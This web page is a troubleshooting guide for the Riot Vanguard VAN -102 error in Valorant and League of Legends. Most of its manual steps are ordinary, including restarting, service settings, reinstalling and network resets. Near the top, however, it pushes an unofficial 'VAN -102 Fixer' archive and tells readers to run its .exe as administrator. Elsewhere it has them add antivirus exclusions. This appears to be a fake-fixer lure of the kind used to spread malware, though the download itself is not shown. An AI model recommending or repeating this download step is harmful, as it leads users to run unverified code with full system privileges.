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How to Fix Vanguard Error Code VAN -102 (Valorant & League of Legends)

Game Error Valorant League-of-Legends Riot-Vanguard
Screenshot of CONNECTION ERROR VANGUARD: VAN -102 error code
CONNECTION ERROR: VALORANT has encountered a connection error. Please relaunch the client to reconnect. Error Code: VAN -102

How to Fix Vanguard Error Code VAN -102 in Valorant and League of Legends

Quick Fix of VAN 102 Error

The fastest way to resolve Vanguard error VAN -102

VAN -102 (also searched as van 102 error, van-102, or vanguard error code -102) is one of the most common Riot Vanguard errors preventing players from launching Valorant or League of Legends.

If you’re seeing the van -102 valorant error or van 102 league of legends issue after a recent update, this comprehensive guide will walk you through proven solutions.

What is VAN -102 Error?

The VAN -102 error is a Vanguard connection error that occurs when the anti-cheat client fails to properly initialize or connect to Riot Games servers.

Common causes include:

  • Corrupted Vanguard files
  • Service startup issues with vgc
  • Antivirus or firewall blocking the connection
  • Missing administrator privileges
  • Outdated Windows components or network problems

This error affects both Valorant and League of Legends since both games use Riot Vanguard.

How to Fix VAN 102 Error in Valorant and League of Legends

Fastest Way to Fix VAN -102 – Automated Solution

Instead of spending time on manual troubleshooting that may or may not work, you can fix everything automatically with one click.

Our specialized Valorant & LoL VAN -102 Fixer does all the heavy lifting for you:

  • Repairs and reinstalls Vanguard properly
  • Resets network configuration (Winsock, DNS, IP)
  • Clears corrupted cache files
  • Adds necessary firewall exceptions
  • Optimizes system settings for Valorant
📥 Download

How to use the fixer:

  1. Click the button above to download the archive.
  2. Go to “Downloads” folder ➔ Right-click on archive ➔ Click “Extract all” ➔ Click “OK”.
  3. Go to “valorant-van102-fixer” folder.
  4. Right-click on valorant-van102-fixer.exe ➔ Click “Run as administrator”.
  5. Wait until this message appears in the console.
The fix has been successfully completed!

Or follow these steps in order. Most players resolve the van -102 error within the first three solutions.

Step 1: Restart Riot Vanguard and Your PC

  1. Right-click the Vanguard icon in the system tray (bottom right) and select Exit Vanguard.
  2. Press Ctrl + Shift + Esc to open Task Manager.
  3. End all Riot-related processes (Riot Client, VALORANT, vgc, vanguard).
  4. Restart your computer.
  5. Launch the Riot Client as administrator and try starting the game.

Step 2: Run Vanguard and Riot Client as Administrator

  1. Right-click the Riot Client shortcut → Properties → Compatibility tab.
  2. Check “Run this program as an administrator”.
  3. Do the same for the Valorant and League of Legends executables.
  4. Click Apply → OK.
  5. Restart Vanguard and launch the game.

Step 3: Set Vanguard Service (vgc) to Automatic

This is one of the most effective fixes for van 102 error valorant.

  1. Press Win + R, type services.msc, and press Enter.
  2. Find Vanguard service (named vgc).
  3. Double-click it.
  4. Set Startup type to Automatic.
  5. If the service is stopped, click Start.
  6. Click Apply → OK.
  7. Restart your PC and test the game.

Step 4: Add Vanguard to Antivirus and Firewall Exceptions

Antivirus software is a frequent cause of vanguard connection error -102.

For Windows Defender:

  1. Go to Windows Security → Virus & threat protection → Manage settings.
  2. Scroll to Exclusions → Add or remove exclusions.
  3. Add the following folders:
    • C:\Program Files\Riot Vanguard
    • C:\Riot Games

For Third-party Antivirus (Norton, Avast, etc.):
Add exclusions for vgc.exe, vanguard.exe, and the entire Riot Games folder.

Also allow Vanguard through Windows Firewall.

Step 5: Reinstall Riot Vanguard Completely

If previous steps fail, perform a clean reinstall:

  1. Open Control Panel → Programs and Features.
  2. Uninstall Riot Vanguard.
  3. Uninstall Riot Client (optional but recommended).
  4. Delete remaining folders:
    • C:\Program Files\Riot Vanguard
    • C:\Riot Games
  5. Restart your PC.
  6. Download and install the latest Riot Client from the official Riot Games website.
  7. Launch the client — Vanguard will reinstall automatically.

Additional Solutions for Persistent VAN -102 Error

Update Windows and Network Drivers

  • Go to Settings → Update & Security → Windows Update and install all updates.
  • Update your network adapter drivers through Device Manager.

Disable VPN / Proxy

Vanguard is sensitive to VPNs. Turn off any VPN before launching the game.

Flush DNS and Reset Network

  1. Open Command Prompt as Administrator.
  2. Run these commands one by one:
    ipconfig /flushdns
netsh winsock reset
netsh int ip reset
  3. Restart your PC.

FAQ – Frequently Asked Questions

What is VAN 102 error?
VAN -102 is a Riot Vanguard initialization error that blocks connection to game servers in Valorant and League of Legends.

Does VAN -102 affect both Valorant and League of Legends?
Yes. Since Vanguard is shared across Riot titles, the fix works for both games.

Why does the VAN 102 error appear after updates?
Game updates often require Vanguard updates. Corrupted files or service conflicts commonly trigger this error.

Is there an official fix from Riot?
Riot recommends restarting Vanguard, running as administrator, and reinstalling the client — steps covered in this guide.

Still having issues? Try running a System File Check (sfc /scannow in Command Prompt as Administrator) or update Windows to the latest version.

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